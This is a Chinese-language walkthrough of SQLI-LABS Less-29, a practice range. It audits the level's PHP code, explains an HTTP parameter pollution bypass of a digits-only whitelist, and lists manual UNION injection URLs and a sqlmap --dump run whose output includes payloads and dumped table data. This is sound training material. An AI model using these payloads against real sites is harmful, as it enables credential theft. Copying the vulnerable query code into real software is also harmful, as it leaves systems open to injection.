sqli-labs通关笔记-第29关GET字符注入(WAF绕过 单引号闭合 手工注入+脚本注入两种方法)

发布于:2025-08-05 ⋅ 阅读:(18) ⋅ 点赞:(0)

目录

一、源码分析

1、index.php代码审计

2、login.php代码审计

3、java_implimentation函数

4、whitelist函数

5、SQL安全性分析

二、渗透实战

1、进入靶场

2、WAF探测

(1)触发WAF

(2)绕过WAF

3、手工注入

(1)获取列数

(2)获取回显位

(3)获取数据库名

(4)获取表名

(5)获取列名

(6)获取数据

4、渗透实战


SQLI-LABS 是一个专门为学习和练习 SQL 注入技术而设计的开源靶场环境,本小节对第29关Less 29可以绕过WAF的GET字符型SQL注入关卡进行渗透实战。

一、源码分析

本关卡Less29是基于GET字符型的SQL注入关卡,如下所示。

1、index.php代码审计

Less29关卡index.php功能是简单基于id的查询页面,详细注释后的代码如下所示。

<?php
// 包含MySQL连接参数文件(注意:使用已废弃的mysql_*函数)
include("../sql-connections/sql-connect.php");

// 禁用错误报告(防止敏感信息泄露,但不完全可靠)
error_reporting(0);

// 处理用户通过GET方法传入的id参数
if (isset($_GET['id'])) {
    // 获取用户输入的id值
    $id = $_GET['id'];
    
    // 记录用户输入到日志文件(用于安全审计或分析)
    $fp = fopen('result.txt', 'a');
    fwrite($fp, 'ID:' . $id . "\n");
    fclose($fp);
    
    // 获取完整的查询字符串(用于提示信息)
    $qs = $_SERVER['QUERY_STRING'];
    $hint = $qs;

    // 构建SQL查询(直接拼接用户输入,存在严重SQL注入风险)
    $sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    
    // 执行SQL查询(使用不安全的mysql_query函数)
    $result = mysql_query($sql);
    $row = mysql_fetch_array($result);
    
    // 根据查询结果输出信息
    if ($row) {
        // 成功查询到记录,显示用户名和密码
        echo "<font size='5' color= '#99FF00'>";
        echo 'Your Login name:' . $row['username'];
        echo "<br>";
        echo 'Your Password:' . $row['password'];
        echo "</font>";
    } else {
        // 查询失败,显示数据库错误信息(可能泄露敏感信息)
        echo '<font color= "#FFFF00">';
        print_r(mysql_error());
        echo "</font>";
    }
} else {
    // 未提供id参数时的提示
    echo "Please input the ID as parameter with numeric value";
}
?>

本关卡 PHP 代码实现了一个简单的用户信息查询页面,但由于未对GET方法传入参数id进行过滤,存在严重的SQL安全隐患,本关卡核心功能如下:

  1. 参数接收:通过 GET 方法获取用户传入的id参数,未经过滤直接拼接到SQL语句中。
  2. 日志记录:将用户输入的id记录到result.txt文件,用于分析。
  3. 数据库查询:使用mysql_query函数执行 SQL 查询,尝试从users表中获取对应id的用户记录。
  4. 结果展示:如果查询成功,显示用户名和密码;如果失败,显示数据库错误信息。
  5. 提示信息:页面下方显示完整的查询字符串,可能用于帮助用户调试或开发者分析。

2、login.php代码审计

Less29关卡login.php功能是简单基于id的查询页面,详细注释后的代码如下所示。

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <title>Less-29 Protection with WAF</title>
</head>

<body bgcolor="#000000">
<div style=" margin-top:70px;color:#FFF; font-size:40px; text-align:center">
    Welcome&nbsp;&nbsp;&nbsp;
    <font color="#FF0000">Dhakkan</font><br>
    <font size="3" color="#FFFF00">

<?php
// ------------------------- 数据库连接与配置 -------------------------
// 引入数据库连接参数(包含用户名、密码、数据库名等敏感信息)
include("../sql-connections/sql-connect.php");

// 禁用PHP错误报告
error_reporting(0);

// ------------------------- 用户输入处理 -------------------------
// 检查是否存在GET参数'id'
if (isset($_GET['id'])) {
    // 获取原始查询字符串(如?id=1&test=2)
    $qs = $_SERVER['QUERY_STRING'];
    // 用于后续显示提示信息
    $hint = $qs;
    
    // 模拟Java应用处理HTTP参数污染(HPP)的逻辑
    $id1 = java_implimentation($qs);
    // 直接获取用户输入的'id'参数(未过滤)
    $id = $_GET['id'];
    
    // ------------------------- 安全防护逻辑 -------------------------
    // 调用白名单过滤函数(仅允许纯数字输入)
    whitelist($id1);

    // ------------------------- 日志记录 -------------------------
    // 打开日志文件(追加模式)
    $fp = fopen('result.txt', 'a');
    // 记录用户输入的ID参数(可能包含攻击载荷)
    fwrite($fp, 'ID:' . $id . "\n");
    // 关闭文件句柄
    fclose($fp);

    // ------------------------- 数据库查询 -------------------------
    // 构造SQL查询语句(直接拼接用户输入,存在SQL注入风险)
    $sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    // 执行SQL查询(使用不安全的mysql_*函数,已废弃)
    $result = mysql_query($sql);
    // 获取查询结果
    $row = mysql_fetch_array($result);

    // ------------------------- 结果输出 -------------------------
    if ($row) {
        // 成功查询时显示用户信息
        echo "<font size='5' color= '#99FF00'>";
        echo 'Your Login name:' . $row['username'];
        echo "<br>";
        echo 'Your Password:' . $row['password'];
        echo "</font>";
    } else {
        // 失败时显示MySQL错误信息(可能泄露数据库结构)
        echo '<font color= "#FFFF00">';
        print_r(mysql_error()); // 危险:暴露数据库错误细节
        echo "</font>";
    }
} else {
    // 提示用户输入ID参数
    echo "Please input the ID as parameter with numeric value";
}

// ------------------------- 安全防护函数定义 -------------------------
/**
 * 白名单过滤函数:仅允许纯数字输入
 * @param string $input 用户输入参数
 */
function whitelist($input) {
    // 使用正则表达式验证输入是否为纯数字
    $match = preg_match("/^\d+$/", $input);
    if ($match) {
        // 验证通过,不做处理
        // echo "you are good";
        // return $match;
    } else {
        // 验证失败,重定向到伪造的攻击成功页面
        header('Location: hacked.php');
        // echo "you are bad";
    }
}

// ------------------------- HPP模拟函数 -------------------------
/**
 * 模拟Java应用处理HTTP参数污染的逻辑(仅提取第一个id参数)
 * @param string $query_string 原始查询字符串
 * @return string 提取的id参数值(存在HPP绕过风险)
 */
function java_implimentation($query_string) {
    $q_s = $query_string;
    // 按'&'分割参数对
    $qs_array = explode("&", $q_s);

    foreach ($qs_array as $key => $value) {
        // 检查参数是否以'id='开头
        $val = substr($value, 0, 2);
        if ($val == "id") {
            // 提取id参数值(跳过前3个字符:id=)
            $id_value = substr($value, 3, 30);
            return $id_value; // 仅返回第一个匹配的id参数,忽略后续参数
            echo "<br>";
            break;
        }
    }
}

?>
</font> </div></br></br></br><center>
    <img src="../images/Less-29.jpg" />
    </br>
    </br>
    </br>
    <img src="../images/Less-29-1.jpg" />
    </br>
    </br>
    <font size='4' color= "#33FFFF">
        <?php
        // 显示用户输入的原始查询字符串(用于测试提示)
        echo "Hint: The Query String you input is: " . $hint;
        ?>
        <br>
        <br>
        Reference:
        <br>
        <!-- 安全参考文档链接(可能指向失效资源) -->
        <a href="https://www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf">AppsecEU09_CarettoniDiPaola_v0.8.pdf</a><br>
        <a href="https://community.qualys.com/servlet/JiveServlet/download/38-10665/Protocol-Level Evasion of Web Application Firewalls v1.1 (18 July 2012).pdf">Protocol-Level Evasion of Web Application Firewalls v1.1</a>
    </font> 
</center>
</body>
</html>

该代码是一个带有 WAF 防护的 Web 应用。核心功能包括:

  • 用户输入处理:通过$_GET['id']获取参数,使用单号包裹id,。
  • 对第一个id参数进行过滤处理
    • whitelist函数对参数id使用正则表达式验证输入是否为纯数字,阻止非数字攻击载荷。
    • java_implimentation模拟 Java 应用对 HTTP 参数污染的处理逻辑,仅提取第一个id参数值进行验证。
  • 数据库操作:将用户输入id拼接至 SQL 语句,
    • 如果仅有一个参数id,通过函数过滤后使用SQL语句查询数据库用户信息
    • 如果存在第二个参数id的话则是没有任何过滤直接拼接到SQL语句中。
  • 日志记录:将用户输入的id参数记录到result.txt,用于分析。
  • 结果反馈:成功查询时显示用户名和密码,失败时暴露数据库错误信息(如mysql_error()) 

3、java_implimentation函数

java_implimentation函数的核心目的是模拟 Java 应用处理 HTTP 参数污染 (HPP) 的行为差异。PHP 默认会将重复参数名的值合并为数组,而 Java Servlet 容器通常只处理第一个出现的参数。该函数通过以下步骤提取处理后的参数。

function java_implimentation($query_string)
{
    $q_s = $query_string;
    $qs_array = explode("&", $q_s);  // 按&分割参数字符串

    foreach($qs_array as $key => $value)
    {
        $val = substr($value, 0, 2);  // 检查参数名前两位
        if($val == "id")
        {
            $id_value = substr($value, 3, 30);  // 提取等号后的值
            return $id_value;  // 仅返回第一个匹配的id参数值
            break;
        }
    }
}

java_implimentation函数的设计初衷是模拟 Java 应用处理 HTTP 参数污染(HPP)的行为差异,其核心逻辑是从原始查询字符串中提取第一个出现的id参数值,并忽略后续同名参数。函数通过将查询字符串按&分割为参数数组,遍历查找首个以id=开头的参数,提取其值(跳过id=部分)并返回。然而,这一实现存在严重安全风险:它仅验证第一个id参数是否为纯数字(通过白名单),但 SQL 查询却使用原始的、未过滤的id参数,导致攻击者可通过提交多个id参数(如id=1&id=1' OR 1=1 --)绕过验证机制,实现 SQL 注入攻击。这种验证与使用分离的设计缺陷,使得函数非但未能增强安全性,反而成为SQL注入攻击的触发点。

4、whitelist函数

whitelist()函数使用正则表达式验证输入是否为纯数字,具体处理如下所示。

function whitelist($input) {
    $match = preg_match("/^\d+$/", $input);
    if ($match) {
        // 验证通过,不做处理
    } else {	
        header('Location: hacked.php');
    }
}
  • 功能:实现白名单机制,仅允许纯数字输入,意图阻止非数字类型的 SQL 注入攻击。
  • 参数$input为待验证的用户输入(来自java_implimentation函数提取的第一个id参数值)
  • 正则表达式:核心函数$match = preg_match("/^\d+$/", $input),要求输入完全由数字组成,不允许包含任何非数字字符(如字母、符号、空格等)
    • ^:匹配输入字符串的开始位置。
    • \d+:匹配一个或多个数字(等价于[0-9]+)。
    • $:匹配输入字符串的结束位置。
  • 条件判断与响应:

    • 验证通过($match1
      不执行任何操作,允许程序继续执行数据库查询。
    • 验证失败($match0
      通过header('Location: hacked.php')重定向到hacked.php页面,模拟 “攻击检测成功” 的响应。
  • 安全风险原因:

    • 函数仅验证第一个id参数(由java_implimentation函数提取),但未处理其他id参数。
    • SQL 查询使用的是原始$_GET['id']参数(包含所有提交的id参数),而非验证通过的$id1
  • 绕过原理:通过提交多个id参数,使第一个参数为纯数字(通过验证),第二个参数包含恶意载荷:

    • // 示例 payload
      id=1&id=1' OR 1=1 --+
      验证阶段java_implimentation提取第一个参数id=1whitelist验证通过(因为第一关参数1为纯数字)。
    • 查询阶段$_GET['id']为第二个id参数1' OR 1=1 --+,被直接拼入 SQL 语句,触发SQL注入。

5、SQL安全性分析

尽管代码尝试通过白名单过滤数字输入,但存在以下致命缺陷:

  • java_implimentation绕过防护:java_implimentation()仅验证第一个id参数,攻击者可通过提交多个id参数(如id=1&id=1' OR 1=1 --),使第一个参数通过验证,第二个参数传入到SQL语句触发 SQL 注入风险。
  • 未处理 SQL 拼接:第二个参数变量$id直接拼入 SQL 语句,未使用预处理语句或转义函数,直接执行SELECT * FROM users WHERE id='$id' LIMIT 0,1导致恶意 payload 可破坏 SQL 语法结构。
  • 错误信息泄露mysql_error()直接输出数据库错误,可能泄露表名、字段名等敏感信息,辅助攻击者构造攻击载荷。

二、渗透实战

1、进入靶场

进入sqli-labs靶场首页,其中包含基础注入关卡、进阶挑战关卡、特殊技术关卡三部分有效关卡,如下所示。

http://192.168.59.1/sqli-labs/

点击进入Page2,如下图红框所示。 

其中第29关在进阶挑战关卡“SQLi-LABS Page-2 (Adv Injections)”中, 点击进入如下页面。

http://192.168.59.1/sqli-labs/index-1.html#fm_imagemap

点击上图红框的Less29关卡,进入到靶场的第28a关卡,页面提示“Please input the ID as parameter with numeric value”,并且在页面下方提示HINT信息“ Hint: Your Input is Filtered with following result: ”,具体如下所示。

http://192.168.59.1/sqli-labs/Less-28

访问29关卡的login.php,URL与访问页面如下所示。

访问29关卡的hacked.php,URL如下所示。

http://192.168.59.1/sqli-labs/Less-29/hacked.php

根据源码分析我们得知,仅当访问login.php且第一个id非数字时会进入如下页面。 

2、WAF探测

(1)触发WAF

访问login.php,第一个参数设置为纯数字1单引号,因为第一关id不是纯数字触发了防火墙的防护,被重定向到hacked.php,效果如下所示。

http://192.168.59.1/sqli-labs/Less-29/login.php?id=1'

(2)绕过WAF

访问login.php,第一个参数设置为纯数字1,第二个参数id设置为1'--+,效果如下所示绕过了防火墙的防护,当前页面显示查询成功,显示id=1的用户名和密码,没有重定向到hacked.php。

http://192.168.59.1/sqli-labs/Less-29/login.php?id=1&id=1'--+

3、手工注入

(1)获取列数

如下所示,order by为3时渗透成功,但是order by为4时提示列不存在,故而共有3列。

http://192.168.59.1/sqli-labs/Less-29/login.php?id=1&id=1' ORDER BY 3--+
http://192.168.59.1/sqli-labs/Less-29/login.php?id=1&id=1' ORDER BY 4--+

(2)获取回显位

如下所示,回显位为2和3,接下来我们使用第2个回显位进行渗透。

http://192.168.59.1/sqli-labs/Less-29/login.php?id=1&id=-1' UNION SELECT 1,2,3--+

(3)获取数据库名

如下所示,数据库的名称为“security”。

http://192.168.59.1/sqli-labs/Less-29/login.php?id=1&id=-1' UNION SELECT 1,DATABASE(),3--+

(4)获取表名

如下所示,数据库security共有4个表格,分别为emails,referers,uagents,users。

http://192.168.59.1/sqli-labs/Less-29/login.php?id=1&id=-1' UNION SELECT 1,GROUP_CONCAT(TABLE_NAME),3 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE()--+

(5)获取列名

如下所示,数据库users表的列名分别为id,username,password。

http://192.168.59.1/sqli-labs/Less-29/login.php?id=1&id=-1' UNION SELECT 1,GROUP_CONCAT(COLUMN_NAME),3 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=DATABASE() and TABLE_NAME='users'--+

(6)获取数据

最后通过上一步获取到的列名来提取users表的内容,如下所示渗透成功。

http://192.168.59.1/sqli-labs/Less-29/login.php?id=1&id=-1' UNION SELECT 1,GROUP_CONCAT(CONCAT(username,':',password)),3 FROM users--+

4、渗透实战

 我们使用sqlmap来进行渗透,参数的含义是获取当前数据库名称(--current-db)并导出所有数据(--dump),全程自动执行无需人工交互(--batch),其中-u参数指定目标URL地址,完整的SQL注入命令如下所示。

sqlmap -u "http://192.168.59.1/sqli-labs/Less-29/login.php?id=1&id=1*" --current-db  --batch --dump

特别注意,本次渗透并没有选择index.php?id=1的网址,否则本关卡与第1关没有任何区别了,本关卡选择login.php后面跟着两个参数id,其中第一个参数id=1用于绕过Waf,第二个参数id=1*则是指定注入点。执行注入命令后,sqlmap渗透成功,可以通过联合注入法、报错法、时间盲注方法渗透成功,具体信息如下所示。

URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 51 HTTP(s) requests:
---
Parameter: #1* (URI)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: http://192.168.59.1:80/sqli-labs/Less-29/login.php?id=1&id=1' AND 4219=4219 AND 'qZrP'='qZrP

    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: http://192.168.59.1:80/sqli-labs/Less-29/login.php?id=1&id=1' AND GTID_SUBSET(CONCAT(0x7162787071,(SELECT (ELT(1927=1927,1))),0x716a716b71),1927) AND 'gCws'='gCws

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: http://192.168.59.1:80/sqli-labs/Less-29/login.php?id=1&id=1' AND (SELECT 7918 FROM (SELECT(SLEEP(5)))NhCl) AND 'JOHj'='JOHj

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: http://192.168.59.1:80/sqli-labs/Less-29/login.php?id=1&id=-2783' UNION ALL SELECT NULL,NULL,CONCAT(0x7162787071,0x67466e646946457067577644774c626b554a6a74767a6a594c694d475a724c53544c48556d6e6877,0x716a716b71)-- -
---
[22:53:07] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.5.9, Apache 2.4.39
back-end DBMS: MySQL >= 5.6
[22:53:08] [INFO] fetching current database
current database: 'security'

Database: security
Table: emails
[8 entries]
+----+------------------------+
| id | email_id               |
+----+------------------------+
| 1  | Dumb@dhakkan.com       |
| 2  | Angel@iloveu.com       |
| 3  | Dummy@dhakkan.local    |
| 4  | secure@dhakkan.local   |
| 5  | stupid@dhakkan.local   |
| 6  | superman@dhakkan.local |
| 7  | batman@dhakkan.local   |
| 8  | admin@dhakkan.com      |
+----+------------------------+

网站公告

今日签到

点亮在社区的每一天
去签到